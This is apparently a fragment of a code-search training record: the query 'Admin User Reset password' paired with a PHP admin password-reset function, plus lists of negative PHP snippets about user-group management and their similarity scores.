"public function edit($id)\n\t{\n\t\tif (!$id || empty($id))\n\t\t{\n\t\t\tredirect('auth', 'refresh');\n\t\t}\n\n\t\t$this->data['title'] = $this->lang->line('edit_group_title');\n\n\t\tif (!$this->ion_auth->logged_in() || !$this->ion_auth->is_admin())\n\t\t{\n\t\t\tredirect('auth', 'refresh');\n\t\t}\n\n\t\t$group = $this->ion_auth->group($id)->row();\n\n\t\t// validate form input\n\t\t$this->form_validation->set_rules('group_name', $this->lang->line('edit_group_validation_name_label'), 'required|alpha_dash');\n\n\t\tif (isset($_POST) && !empty($_POST))\n\t\t{\n\t\t\tif ($this->form_validation->run() === TRUE)\n\t\t\t{\n\t\t\t\t$group_update = $this->ion_auth->update_group($id, $_POST['group_name'], $_POST['group_description']);\n\n\t\t\t\tif ($group_update)\n\t\t\t\t{\n\t\t\t\t\t$this->session->set_flashdata('message', $this->lang->line('edit_group_saved'));\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->session->set_flashdata('message', $this->ion_auth->errors());\n\t\t\t\t}\n\t\t\t\tredirect(\"auth\", 'refresh');\n\t\t\t}\n\t\t}\n\n\t\t// set the flash data error message if there is one\n\t\t$this->data['message'] = (validation_errors() ? validation_errors() : ($this->ion_auth->errors() ? $this->ion_auth->errors() : $this->session->flashdata('message')));\n\n\t\t// pass the user to the view\n\t\t$this->data['group'] = $group;\n\n\t\t$readonly = $this->config->item('admin_group', 'ion_auth') === $group->name ? 'readonly' : '';\n\n\t\t$this->data['group_name'] = array(\n\t\t\t'name' => 'group_name',\n\t\t\t'id' => 'group_name',\n\t\t\t'type' => 'text',\n\t\t\t'value' => $this->form_validation->set_value('group_name', $group->name),\n\t\t\t$readonly => $readonly,\n\t\t);\n\t\t$this->data['group_description'] = array(\n\t\t\t'name' => 'group_description',\n\t\t\t'id' => 'group_description',\n\t\t\t'type' => 'text',\n\t\t\t'value' => $this->form_validation->set_value('group_description', $group->description),\n\t\t);\n $this->load->view('auth/edit_group', $this->data);\n\n\t\t// $this->_render_page('auth' . DIRECTORY_SEPARATOR . 'edit_group', $this->data);\n\t}",
"public function run()\n {\n $group = new group([\n 'name'=> 'Assemblée Générale',\n 'description' =>'Le grand groupe assemblée générale',\n 'user_ID' => 1,\n 'logo' => 'default.png'\n ]);\n $group->save();\n\n /**on le role de administrateur pour AG****/\n $admin = new Role();\n $admin->name = 'admin_1';\n $admin->display_name = 'User Administrator of AG group'; // optional\n $admin->description = 'User is allowed to manage and edit other users'; // optional\n $admin->group_ID = 1; // optional\n $admin->save();\n\n $permission = \\App\\Permission::find(1);\n $admin->attachPermission($permission);\n\n //on attache le rôle admin au créateur du groupe\n $user = \\App\\User::find(1);\n $user->attachRole($admin);\n\n $user = \\App\\User::find(2);\n $user->attachRole($admin);\n\n $user = \\App\\User::find(3);\n $user->attachRole($admin);\n\n $user = \\App\\User::find(4);\n $user->attachRole($admin);\n }",
"function superadmin_update($id=NULL) {\n\t\t $this->set('meta_title','Edit User Group');\n\t\t $errors ='';\n\t\t if(isset($this->data['Role']['id'])) {\n\t\t\t $this->id = (int)$this->data['Role']['id'];\n\t\t\t $this->set('id',$this->id);\n\t\t }\n\t\t else {\n\t\t \t$this->id = (int)$id;\n\t\t\t$this->set('id',$this->id);\n\t\t }\t\n\t\t if(!$this->id) {\n\t\t \t$this->Session->setFlash('Invalid User Group update id.');\n\t\t $this->redirect(array('controller'=>'roles','action'=>'index'));\n\t\t }\n\t\t $this->Role->set($this->data);\n\t\t\n\t \t if(!empty($this->data) && is_array($this->data)){\n\t\t \n\t\t\t\n\t\t \n\t\t $this->Role->set($this->data);\n\t\t \n\t\t$errorsArr='';\n\t\t if(!$this->Role->validates()) \n\t\t\t{\n\t\t\t\n\t\t\t\t$errorsArr = $this->Role->validationErrors;\t\n\t\t\t\t\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\n \t\t if($errorsArr) {\n\t\t \n\t\t $this->Session->setFlash($errors);\n\t\t\t\t\n\t\t\t\t $this->set('data',$this->data);\n\t\t\t\t\n\t\t\t// $this->redirect(array('controller'=>'roles','action' =>\"update\",$this->id));\n\t\t\t}\n\t\t\telse { \n\t\t\t\t $this->request->data['Role']['id']\t= $this->id;\n\t\t\t\t if($this->request->data['Role']['id'] != 1) {\n\t\t\t\t\t if(in_array($this->params['controller'].'/'.substr($this->params['action'],5),$userpermissions) || $this->Session->read('Auth.Adminuser.role_id')==1) {\n\t\t\t\t\t $this->data['Role']['allowedfunctions']= $this->common->arrayToCsvString($this->data['Role']['allowedfunctions']);\n\t\t\t\t\t }\t\n\t\t\t\t } \t\t\t \n\t\t\t\t // pr($this->data);\n\t\t\t \t if($this->Role->save($this->data)) {\n\t\t\t\t $this->Session->write('popup','User Group has been updated successfully.');\n\t\t\t\t\t\t$this->Session->setFlash('User Group has been updated successfully.'); \n\t\t\t\t\t\t$this->redirect(array('controller'=>'roles','action' => \"index/message:success\"));\n\t\t\t\t }\n\t\t\t\t else {\n\t\t\t\t \t$this->Session->setFlash('Data save problem, Please try again.'); \n\t\t\t\t\t\t$this->redirect(array('controller'=>'roles','action' => \"update\",$this->id));\n\t\t\t\t }\t\t\n\t\t \t}//end if not error\n\t \t}// end if of check data array\n\t\t else {\n\t\t $this->set('data',$this->Role->read('',$id));\n\t\t }\n\t }",
"public function listgroup() { \n \n if (!is_null(auth()->guard('api')->user()->groups)){\n \n //$user->find(Auth::user()->id); \n $data = auth()->guard('api')->user()->groups->toArray();\n $response = [ \n 'success' => true, \n 'data' => $data, \n 'message' => 'Group retrieved successfully.' \n ]; \n return response()->json($response, 200);\n }\n else { \n return response()->json(['error' => 'Unauthorised'], 401); \n } \n }",
"public function index() {\n\t\t$groups = AdminGroup::condition(Input::all())\n\t\t\t\t->orderBy('created_at', 'desc')\n\t\t\t\t->paginate();\n\t\treturn View::make('admin.groups.index', array(\n\t\t\t\t\t'groups' => $groups,\n\t\t\t\t\t'input' => Input::all(),\n\t\t));\n\t}",
"public function phrase_manage_group()\n {\n $this->authorize();\n\n ee()->load->helper('form');\n ee()->load->library('form_validation');\n\n ee()->form_validation->set_rules('group_label', 'Phrase Group Label', 'required');\n\n $group_id = ee()->input->get('group_id');\n $group_data = FALSE;\n\n if ($group_id)\n {\n $group_data = ee()->publisher_phrase->get_group($group_id);\n }\n\n $vars['group_label'] = set_value('group_label');\n $vars['group_name'] = set_value('group_name');\n $vars['hidden'] = array('group_id' => $group_id);\n $vars['save_url'] = ee()->publisher_helper_cp->mod_link('phrase_manage_group', array(), TRUE);\n\n if ($group_data)\n {\n $vars['group_label'] = $group_data->group_label;\n $vars['group_name'] = $group_data->group_name;\n }\n\n if (ee()->form_validation->run() == FALSE)\n {\n $vars['validation_errors'] = ee()->publisher_helper_cp->validation_errors();\n\n return ee()->load->view('phrase/manage_group', $vars, TRUE);\n }\n else\n {\n ee()->publisher_phrase->save_group();\n ee()->session->set_flashdata('message_success', lang('publisher_phrase_group_saved'));\n ee()->publisher_helper_url->redirect(ee()->publisher_helper_cp->mod_link('phrases'));\n }\n }",
"public function admin_delete(){\n \n // Load the group in question\n $group = $this->Group->find('first', array('conditions' => array('Group.id' => $this->params->id)));\n if($group){\n // Delete the group\n $delete_attempt = $this->Group->delete($this->params->id);\n if ($delete_attempt){\n $this->Session->setFlash('Group \\''.$group['Group']['name'].'\\' successfully deleted.', 'default', array('class' => 'alert alert-success'));\n CakeLog::write('admin', '[success] Group \\''.$group['Group']['name'].'\\' deleted.');\n $this->redirect(array('controller' => 'group', 'action' => 'index', 'admin' => true));\n } else {\n $this->Session->setFlash('There was an error deleting the \\''.$group['Group']['name'].'\\' group.', 'default', array('class' => 'alert alert-error'));\n CakeLog::write('admin', '[error] Group \\''.$group['Group']['name'].'\\' could not be deleted.');\n $this->redirect(array('controller' => 'group', 'action' => 'index', 'admin' => true));\n }\n } else {\n $this->Session->setFlash('That group could not be found.', 'default', array('class' => 'alert alert-error'));\n $this->redirect(array('controller' => 'group', 'action' => 'index', 'admin' => true));\n }\n }",
"public function add()\n {\n // cria entidade de grupo\n $group = $this->Groups->newEntity();\n $id = uniqid();\n //se requisição for post\n if ($this->request->is('post')) {\n //popula entidade de grupo com os dados do form\n $group = $this->Groups->patchEntity($group, $this->request->getData());\n //se salvar retorna sucesso\n if ($this->Groups->save($group,['associated' => ['UsersGroup']])) {\n\n //Cria userGroup com o usuario que tá criando o grupo e role 2 = criador\n $userGroupData = ['user_id'=>$this->user['id'],'group_id'=>$group->id,'role'=>2,'invite_status'=>1];\n $userGroup = $this->Groups->UsersGroup->newEntity($userGroupData);\n $this->Groups->UsersGroup->save($userGroup);\n $this->Flash->success(__(\"O grupo $group[name] foi criado com sucesso \"));\n\n return $this->redirect(['action' => 'add']);\n }\n $this->Flash->error(__('Não foi possivel criar o grupo pois erros ocorreram:'),['params'=>['errors'=>$group->getErrors()]]);\n }\n //configuração de variáveis para view\n $this->set(compact('group','id'));\n $this->set('user',$this->user);\n $this->set('invites',$this->invites);\n $this->set('eventNotifications',$this->eventNotifications);\n $this->set('sortNotifications',$this->sortNotifications);\n $this->set('messageNotifications',$this->messageNotifications);\n $this->set('_serialize', ['group']);\n }",
"public function admin_change(){\n \n // Load the group in question\n $group = $this->Group->find('first', array('conditions' => array('Group.id' => $this->params->id)));\n if($group){\n\t\t\t// Edit the group\n\t\t\t$satellite_ids = array();\n\t\t\t\n\t\t\t// Loop through and add all of the satellite IDs\n\t\t\tforeach($_POST['satellites'] as $satellite_id){\n\t\t\t\tarray_push($satellite_ids, $satellite_id);\n\t\t\t}\n\t\t\t\n\t\t\t// Assemble query\n $show_on_home = (isset($_POST['show_on_home']))?'1':'0';\n $default_on_home = (isset($_POST['default_on_home']))?'1':'0';\n\t\t\t$group_changes['Group'] = array(\n 'id' => $group['Group']['id'],\n 'name' => $_POST['group_name'],\n 'description' => $_POST['group_description'],\n 'show_on_home' => $show_on_home,\n 'default_on_home' => $default_on_home,\n 'updated_on' =>date ('Y-m-d H:i:s', time())\n );\n\t\t\t$group_changes['Satellite'] = array('Satellite' => $satellite_ids);\n\t\t\t\n\t\t\t$edit_group = $this->Group->save($group_changes);\n\t\t\t\n\t\t\tif ($edit_group){\n\t\t\t\t$this->Session->setFlash('The group has been edited successfully.', 'default', array('class' => 'alert alert-success'));\n\t\t\t\tCakeLog::write('admin', '[success] The group \\''.$_POST['group_name'].'\\' has been edited.');\n\t\t\t} else {\n\t\t\t\t$this->Session->setFlash('An error occured while editing that group. Please try again.', 'default', array('class' => 'alert alert-error'));\n\t\t\t\tCakeLog::write('admin', '[error] Error editing the group \\''.$_POST['group_name'].'\\'.');\n\t\t\t}\n\t\t\t\n\t\t\t$this->redirect(array('controller' => 'group', 'action' => 'index'));\n } else {\n $this->Session->setFlash('That group could not be found.', 'default', array('class' => 'alert alert-error'));\n $this->redirect(array('controller' => 'group', 'action' => 'index', 'admin' => true));\n }\n }",
"function group ( $user_id )\n\t{\n\t\t$userObj = App::getUser() ;\n\t\t\n\t\tif ( $userObj->getTrueLevel() > 0 )\n\t\t{\n\t\t\tApp::do401 ('Level not valid') ; \n\t\t}\n\t\t\n\t\t$this->view->layoutName = 'layout-backend' ;\n\t\t\n\t\t$user = $this->db->find('ae_users', $user_id ) ;\n\t\t\n\t\tif ( empty($user) )\n\t\t{\n\t\t\tApp::do404 ('User not found') ;\n\t\t}\n\t\t\n\t\t$done = false ;\n\t\t$groups = $this->db->findAll('ae_groups') ;\n\t\t\n\t\tif ( !empty ( $this->data ) )\n\t\t{\n\t\t\tif ( ake('user/group', $this->data) )\n\t\t\t{\n\t\t\t\t$g = $this->data['user/group'] ;\n\t\t\t\t\n\t\t\t\tforeach ( $groups as $group )\n\t\t\t\t{\n\t\t\t\t\tif ( $group['id'] == $g )\n\t\t\t\t\t{\n\t\t\t\t\t\t$g = $group ;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( is_array($g) && $g['id'] != $suer['group'] && $this->db->edit('ae_users',$user_id,array('group'=>$g['id'])) )\n\t\t\t\t{\n\t\t\t\t\t$done = true ;\n\t\t\t\t\n\t\t\t\t\t$mailer = new AeMail () ;\n\t\t\t\t\tif ( $mailer->sendThis (\n\t\t\t\t\t\tarray ( \n\t\t\t\t\t\t\t'to' => $user['email'],\n\t\t\t\t\t\t\t'subject' => sprintf(_('[%s] %s group information'), Config::get(App::APP_NAME), $g['label'] ) ,\n\t\t\t\t\t\t\t'template' => array (\n\t\t\t\t\t\t\t\t'file'=>'email'.DS.'user-core'.DS.'group-edited.thtml',\n\t\t\t\t\t\t\t\t'vars'=> array (\n\t\t\t\t\t\t\t\t\t'firstname' => $user['firstname'],\n\t\t\t\t\t\t\t\t\t'lastname' => $user['lastname'],\n\t\t\t\t\t\t\t\t\t'group' => $g['label'] \n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t) ,\n\t\t\t\t\t\t)\n\t\t\t\t\t) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$user['group'] = $g['id'] ;\n\t\t\t\t\t\t$this->addResponse(sprintf(_('Group has been successfully changed, and an email has been sent to %s to warn this person about the group edition.'), $user['email'])) ;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tApp::do500('Sending mail failure');\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\tif ( !$done )\n\t\t\t{\n\t\t\t\t$this->addResponse(_('Group not valid. Please retry.'), self::RESPONSE_ERROR ) ;\n\t\t\t}\n\t\t}\n\t\n\t\tforeach ( $groups as $group )\n\t\t{\n\t\t\tif ( $group['id'] == $user['group'] )\n\t\t\t{\n\t\t\t\t$this->addResponse(sprintf(_('User <strong>%s</strong>, also known as <strong>%s %s</strong>, is currently in <strong>%s</strong> group '),$user['email'],$user['firstname'],$user['lastname'],$group['label']) , self::RESPONSE_INFO ) ;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\t$this->view->set('done', $done);\n\t\t$this->view->set('user',$user);\n\t\t$this->view->set('groups',$groups);\n\t\t\n\t}",
"function index($para1 = '', $para2 = '') {\n\n if ($para1 == 'do_add') {\n $data['username'] = $this->input->post('user_name');\n $data['description'] = $this->input->post('description');\n $this->db->insert('user', $data);\n } else if ($para1 == 'edit') {\n $this->data['user_data'] = $this->db->get_where('users', array(\n 'id' => $para2\n ))->result_array();\n $this->load->library(array('form_validation'));\n $this->render(NULL, $para1);\n //$this->load->view('back/admin/user_edit', $this->data);\n } elseif ($para1 == \"update\") {\n $data['first_name'] = $this->input->post('name');\n $data['email'] = $this->input->post('email');\n $data['phone'] = $this->input->post('phone');\n $data['role'] = $this->input->post('role');\n $id = $para2;\n $user = $this->ion_auth->user($id)->row();\n $groups = $this->ion_auth->groups()->result_array();\n $currentGroups = $this->ion_auth->get_users_groups($id)->result();\n\n\n // Only allow updating groups if user is admin\n //Update the groups user belongs to\n $groupData[0] = $this->input->post('role');\n\n if (isset($groupData) && !empty($groupData)) {\n\n $this->ion_auth->remove_from_group('', $id);\n\n foreach ($groupData as $grp) {\n $this->ion_auth->add_to_group($grp, $id);\n }\n }\n\n // check to see if we are updating the user\n $this->ion_auth->update($user->id, $data);\n } elseif ($para1 == 'delete') {\n $this->db->where('user_id', $para2);\n $this->db->delete('user');\n } elseif ($para1 == 'list') {\n $this->load->library('cart');\n $this->db->order_by('user_id', 'desc');\n $this->data['all_users'] = $this->ion_auth->users()->result_array(); \n $this->render(NULL, $para1);\n } elseif ($para1 == 'view') {\n $this->data['user_data'] = $this->ion_auth->user($para2)->result_array();\n\n $this->render(NULL, 'user_view');\n } elseif ($para1 == 'add') {\n $this->load->library(array('form_validation'));\n $this->render(NULL, $para1); \n } else {\n $this->data['page_name'] = \"user\";\n $this->data['all_users'] = $this->ion_auth->users(3)->result_array();\n $this->render();\n }\n }",
"public function actionAddGroup()\n {\n echo \"Create an user group ...\\n\";\n $name = trim($this->prompt('Group name (max length 32 varchar):'));\n $desc = trim($this->prompt('Group description (max length 255 varchar):'));\n if ($name && $this->confirm(\"Are your sure to create an user group?\")) {\n if (DIRECTORY_SEPARATOR === '\\\\') {\n $name = iconv('GBK','UTF-8//IGNORE', $name);\n $desc = iconv('GBK','UTF-8//IGNORE', $desc);\n }\n $model = Yii::$app->menuManager->addGroup($name, $desc);\n if ($model->hasErrors()) {\n echo join(',', $model->getFirstErrors()) . \"\\n\";\n return self::EXIT_CODE_ERROR;\n }\n echo \"Success.\\n\";\n return self::EXIT_CODE_NORMAL;\n }\n echo \"Canceled!\\n\";\n return self::EXIT_CODE_NORMAL;\n }",
"public function getUsergroup() {}",
"function getGroupList() {\n return getAll(\"SELECT * FROM `group` WHERE admin_id = ?\", [getLogin()['uid']]);\n}",
"private function insertUserGroup() {\n\t $groupInfo = self::getQueryInfo('base_group', 'group_name', 'id');\n\t $userInfo = self::getQueryInfo('users', 'email', 'id');\n\t\t\n\t\tDB::table('base_user_group')->insert(['user_id'\t=> $userInfo['[email protected]'], 'group_id' => $groupInfo['sales.reporting']]);\n\t\tDB::table('base_user_group')->insert(['user_id'\t=> $userInfo['[email protected]'], 'group_id' => $groupInfo['customer.analytics']]);\n\t}",
"function fillGroups() \n\t{\n\t\t$this->groups[] = array(-1,\"<\".\"Admin\".\">\");\n\t\t$this->groupFullChecked[] = true;\n\t\t\n\t\t$trs = db_query(\"select , from `uggroups` order by \",$this->conn);\n\t\twhile($tdata = db_fetch_numarray($trs))\n\t\t{\n\t\t\t$this->groups[] = array($tdata[0],$tdata[1]);\n\t\t\t$this->groupFullChecked[] = true;\n\t\t}\n\t}",
"public function index()\n {\n\n // If User Logged Continue to display Users Group Page\n\n $this->html->setTitle('Users Group');\n\n // Fetch All Categories From DB\n $data['users_groups'] = $this->load->model('UsersGroups')->getAll();\n\n $data['success'] = $this->session->has('success') ? $this->session->pull('success') : null;\n\n\n // Calling Index View [ list ] and Passing Data to it\n // Notice: $data['categories'] is an Object NOT Array, it means that we will calling column as $category->id, $category->name\n $view = $this->view->render('admin/users-groups/list', $data);\n\n return $this->adminLayout->render($view);\n\n\n\n }",
"public function group_list()\n { \n\n if(auth()->user()->hasRole('admin') || auth()->user()->hasRole('super-admin')){\n $group_leader = DB::table('tb_employee')->select('id','emp_first_name','emp_lastName','employeeId')->get();\n $branch_list=$this->branche->all_branch();\n $branch_list2=$this->branche->branchname_loginemployee();\n $group_list = DB::table('tb_groups')->orderBy('id', 'desc')\n ->leftJoin('users','tb_groups.created_by','=','users.id')\n ->leftJoin('tb_employee','tb_groups.group_leader_id','=','tb_employee.id')\n ->select('tb_groups.id','tb_groups.group_name','tb_groups.status','users.name','tb_employee.emp_first_name','tb_employee.employeeId')\n\n ->get();\n // dd($group_leader);\n if(request()->ajax())\n {\n return datatables()->of($group_list)\n ->addColumn('action', function($data){\n $button = '<button type=\"button\" name=\"edit\" id=\"'.$data->id.'\" class=\"edit btn btn-blue btn-xs\" data-toggle=\"modal\" data-target=\"#editGroup\" data-placement=\"top\" title=\"Edit\"><i class=\"fa fa-edit\"></i></button>';\n $button .= ' ';\n \n return $button;\n })\n ->editColumn('group_name', function ($group_list) {\n return ucwords($group_list->group_name);\n })\n ->editColumn('emp_first_name', function ($group_list) {\n return ucwords($group_list->emp_first_name);\n })\n ->rawColumns(['action'])\n ->make(true);\n }\n\n return view('backend.group.group_list',compact('group_leader','branch_list','branch_list2'));\n }else{\n \n $branch_id=$this->branche->branchname_loginemployee();\n\n $group_leader = DB::table('tb_employee')->select('id','emp_first_name','emp_lastName','employeeId')->get();\n $branch_list=$this->branche->all_branch();\n $branch_list2=$this->branche->branchname_loginemployee();\n // dd( $branch_list);\n $group_list = DB::table('tb_groups')->orderBy('id', 'desc')\n ->leftJoin('users','tb_groups.created_by','=','users.id')\n ->leftJoin('tb_employee','tb_groups.group_leader_id','=','tb_employee.id')\n ->select('tb_groups.id','tb_groups.group_name','tb_groups.status','users.name','tb_employee.emp_first_name','tb_employee.employeeId')\n ->where('tb_employee.branch_id', $branch_id->id)\n ->get();\n // dd($group_leader);\n if(request()->ajax())\n {\n return datatables()->of($group_list)\n ->addColumn('action', function($data){\n $button = '<button type=\"button\" name=\"edit\" id=\"'.$data->id.'\" class=\"edit btn btn-blue btn-xs\" data-toggle=\"modal\" data-target=\"#editGroup\" data-placement=\"top\" title=\"Edit\"><i class=\"fa fa-edit\"></i></button>';\n $button .= ' ';\n \n return $button;\n })\n ->editColumn('group_name', function ($group_list) {\n return ucwords($group_list->group_name);\n })\n ->editColumn('emp_first_name', function ($group_list) {\n return ucwords($group_list->emp_first_name);\n })\n ->rawColumns(['action'])\n ->make(true);\n }\n\n return view('backend.group.group_list',compact('group_leader','branch_list','branch_list2'));\n }\n \n \n }",
"function groups() {\n\t\t$this->validate();\n\t\t$this->setupTemplate();\n\n\t\t$journal =& Request::getJournal();\n\n\t\t$rangeInfo =& $this->getRangeInfo('groups');\n\n\t\t$groupDao =& DAORegistry::getDAO('GroupDAO');\n\t\t$groups =& $groupDao->getGroups(ASSOC_TYPE_JOURNAL, $journal->getId(), null, $rangeInfo);\n\n\t\t$templateMgr =& TemplateManager::getManager();\n\t\t$templateMgr->addJavaScript('lib/pkp/js/lib/jquery/plugins/jquery.tablednd.js');\n\t\t$templateMgr->addJavaScript('lib/pkp/js/functions/tablednd.js');\n\t\t$templateMgr->assign_by_ref('groups', $groups);\n\t\t$templateMgr->assign('boardEnabled', $journal->getSetting('boardEnabled'));\n\t\t$templateMgr->display('manager/groups/groups.tpl');\n\t}",
"public function createAction()\n\t{\n\t\n\t\tif(\\Input::server('REQUEST_METHOD') == 'POST')\n\t\t{\n\t\t\t$rules = array(\n\t\t\t\t'group' => 'required|unique:groups,group',\n\t\t\t);\n\t\t\t$input = \\Input::all();\n\t\t\t$validator = \\Validator::make($input, $rules);\n\n\t\t\tif( $validator->passes() )\n\t\t\t{\n\t\t\t\t$group = new \\Group;\n\t\t\t\t$group->group = $input['group'];\n\n\t\t\t\tif($group->save())\n\t\t\t\t{\n\t\t\t\t\treturn \\Redirect::to('admin/members/groups')\n\t\t\t\t\t\t->with('success_msg', 'Successfully saved');\n\t\t\t\t}\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn \\Redirect::to('admin/members/group/create')\n\t\t\t\t\t->withInput()\n\t\t\t\t\t->with('errors', $validator->getMessageBag()->toArray());\n\t\t\t}\n\t\t}\n\n\t\treturn \\View::make('user::group.create');\n\t\t\n\t}",
"public function tManager() {\n\t\ttry{\n\t\t\tswitch($_GET['action']){\n\t\t\t\tcase \"edit_user\":\n\t\t\t\t\treturn $this->tGroupUserEdit();\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\tcase \"list\":\n\t\t\t\t\treturn $this->tGroupList();\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}catch (Exception $e){\n\t\t\tswitch($e->getCode()){\n\t\t\t\tcase self::BACK_TO_LIST:\n\t\t\t\t\t$sUrl = $_SERVER['PHP_SELF'].'?func='.$_GET['func'].'&action=list';\n\t\t\t\t\t/*\n\t\t\t\t\tif(!empty($_GET['group_no']))\n\t\t\t\t\t\t$sUrl .= '&goid='.$_GET['group_no'];\n\t\t\t\t\t\t*/\n\t\t\t\t\tCJavaScript::vAlertRedirect($e->getMessage(),$sUrl);\n\t\t\t\t\tbreak;\n\t\t\t\tcase self::BACK_TO_VIEW:\n\t\t\t\t\tCJavaScript::vAlertRedirect($e->getMessage(),$_SERVER['PHP_SELF'].'?func='.$_GET['func'].'&action=view&group_no='.$_GET['group_no']);\n\t\t\t\t\tbreak;\n\t\t\t\tcase self::BACK_TO_EDIT:\n\t\t\t\t\tCJavaScript::vAlertRedirect($e->getMessage(),$_SERVER['PHP_SELF'].'?func='.$_GET['func'].'&action=edit&group_no='.$_GET['group_no']);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tCJavaScript::vAlertRedirect($e->getMessage(),$_SERVER['PHP_SELF']);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\texit;\n\t}",
"public function update($id) {\n $user = AdminUser::findOrFail($id);\n\n $data = array(\n \"first_name\" => Input::get(\"first_name\"),\n \"last_name\" => Input::get(\"last_name\"),\n \"groups\" => Input::get(\"groups\") == null ? array() : Input::get(\"groups\"),\n );\n\n $rules = array(\n \"first_name\" => \"required\",\n \"last_name\" => \"required\",\n );\n\n $validator = Validator::make($data, $rules);\n if ($validator->fails()) {\n return Redirect::route('admin.users.edit', $id)->withErrors($validator)->withInput();\n } else {\n $user->first_name = $data['first_name'];\n $user->last_name = $data['last_name'];\n\n DB::delete('delete from users_groups where user_id=' . $id);\n foreach ($data['groups'] as $group) {\n DB::statement(\"INSERT IGNORE INTO users_groups (user_id,group_id) VALUES(?,?)\", array($id, $group));\n }\n\n if ($user->save()) {\n Session::flash('success', \"Đã cập nhật user\" . $user->email . \" thành công\");\n return Redirect::route('admin.users.edit', $id);\n } else {\n Session::flash('error', \"Xảy ra lỗi trong khi cập nhật user \" . $user->email);\n return Redirect::route('admin.users.edit', $id);\n }\n }\n }",
"public function index()\n {\n\n $query = $this->Groups->find();\n $myGroups = $query->matching('UsersGroup',function($q){\n return $q->where(['UsersGroup.user_id'=>$this->user['id'],'UsersGroup.invite_status'=>1]);\n })->order(['role'=>'DESC']);\n\n\n $groups = $this->paginate($myGroups);\n\n $this->set(compact('groups','myGroups'));\n $this->set('user',$this->user);\n $this->set('invites',$this->invites);\n $this->set('eventNotifications',$this->eventNotifications);\n $this->set('sortNotifications',$this->sortNotifications);\n $this->set('messageNotifications',$this->messageNotifications);\n $this->set('_serialize', ['groups']);\n }",
"public function edit(Group $group)\n {\n //\n }"
] | [
"0.8068696",
"0.7252236",
"0.7032717",
"0.70270896",
"0.70096415",
"0.6984845",
"0.6831785",
"0.6812446",
"0.67822206",
"0.67759657",
"0.67576647",
"0.6750775",
"0.6732702",
"0.6689466",
"0.6666788",
"0.66491306",
"0.6626991",
"0.6589712",
"0.6578041",
"0.6575806",
"0.657508",
"0.656598",
"0.6550681",
"0.65327954",
"0.65320915",
"0.6528158",
"0.65253145",
"0.6520508",
"0.65053725",
"0.6502061",
"0.64727366",
"0.6461784",
"0.64556974",
"0.64545244",
"0.6447412",
"0.64326835",
"0.6424674",
"0.6423531",
"0.64166224",
"0.63998604",
"0.6398621",
"0.6393394",
"0.6380527",
"0.6378728",
"0.6369701",
"0.6362396",
"0.6359226",
"0.635118",
"0.6346824",
"0.6344365",
"0.63400704",
"0.6338058",
"0.63363993",
"0.6329174",
"0.6326656",
"0.63222826",
"0.63215065",
"0.6319701",
"0.63135016",
"0.63064986",
"0.62912714",
"0.62872386",
"0.6285335",
"0.62823033",
"0.62823033",
"0.62740904",
"0.6271132",
"0.62705284",
"0.6267781",
"0.6253734",
"0.6250289",
"0.62496036",
"0.6246079",
"0.62424934",
"0.6242112",
"0.6239918",
"0.6239725",
"0.62332636",
"0.62298805",
"0.62251866",
"0.6217346",
"0.6213622",
"0.6204401",
"0.6202947",
"0.62006056",
"0.619938",
"0.6196866",
"0.6194857",
"0.6194853",
"0.61848867",
"0.6184398",
"0.61838084",
"0.6178978",
"0.61704457",
"0.616715",
"0.6162729",
"0.6158553",
"0.61526006",
"0.6152009",
"0.61479074"
] | 0.8234505 | 0 |
Admin User Reset password | public function admin_user_reset_password($user_id)
{
// only top-level users can reset Admin User passwords
$this->verify_auth(array('webmaster'));
$form = $this->form_builder->create_form();
if ($form->validate())
{
// pass validation
$data = array('password' => $this->input->post('new_password'));
if ($this->ion_auth->update($user_id, $data))
{
$messages = $this->ion_auth->messages();
$this->system_message->set_success($messages);
}
else
{
$errors = $this->ion_auth->errors();
$this->system_message->set_error($errors);
}
refresh();
}
$this->load->model('admin_user_model', 'admin_users');
$target = $this->admin_users->get($user_id);
$this->mViewData['target'] = $target;
$this->mViewData['form'] = $form;
$this->mTitle.= 'Reset Admin User Password';
$this->render('panel/admin_user_reset_password');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function resetAdminUserPwdAction()\n\t{\n\t // \t $return = $user->resetPassword('admin');\n\t // \t var_export($return);\n\t // \t echo PHP_EOL;\n\t // \t echo $return['password'];\n\t // \t return false;\n\t}",
"public function resetPassword();",
"public function reset(){\r\n $view = self::checkLoginAdmin();\r\n if(isset($view))\r\n return $view;\r\n $user = User::find(Input::get('id'));\r\n $password = str_random(12);\r\n $user->password = Hash::make($password);\r\n $user->update();\r\n EmailUtils::sendResetMail($user->name, $user->email, $password);\r\n Session::flash('success', 'Senha resetada com sucesso'); \r\n return redirect('admin');\r\n }",
"public function reset_password()\n {\n \n }",
"public function p_reset() {\n\n\t\tforeach($_POST as $key => $value){\n\t\t\tif((empty($value)) || (!$value) || (trim($value) == \"\") ){\n\t\t\t\t# Send them back to the login page\n\t\t\t\tRouter::redirect(\"/users/resetp/error\");\n\t\t\t}\n\t\t}\t\n\t\t\n\t\t# Encrypt the password \n\t\t$_POST['password'] = sha1(PASSWORD_SALT.$_POST['password']); \n\n\t\tDB::instance(DB_NAME)->update(\"users\", $_POST, 'WHERE user_id = '.$this->user->user_id);\n\n\t\t# Send them back to the main index.\n\t\tRouter::redirect('/users/login');\n\n\t}",
"public function resetpassAction()\n\t{\n\t\t$email='[email protected]';\n\n\t\t$customer = Mage::getModel('customer/customer')\n ->setWebsiteId(Mage::app()->getStore()->getWebsiteId())\n ->loadByEmail($email);\n\t\t$customer->sendPasswordResetConfirmationEmail();\n\t}",
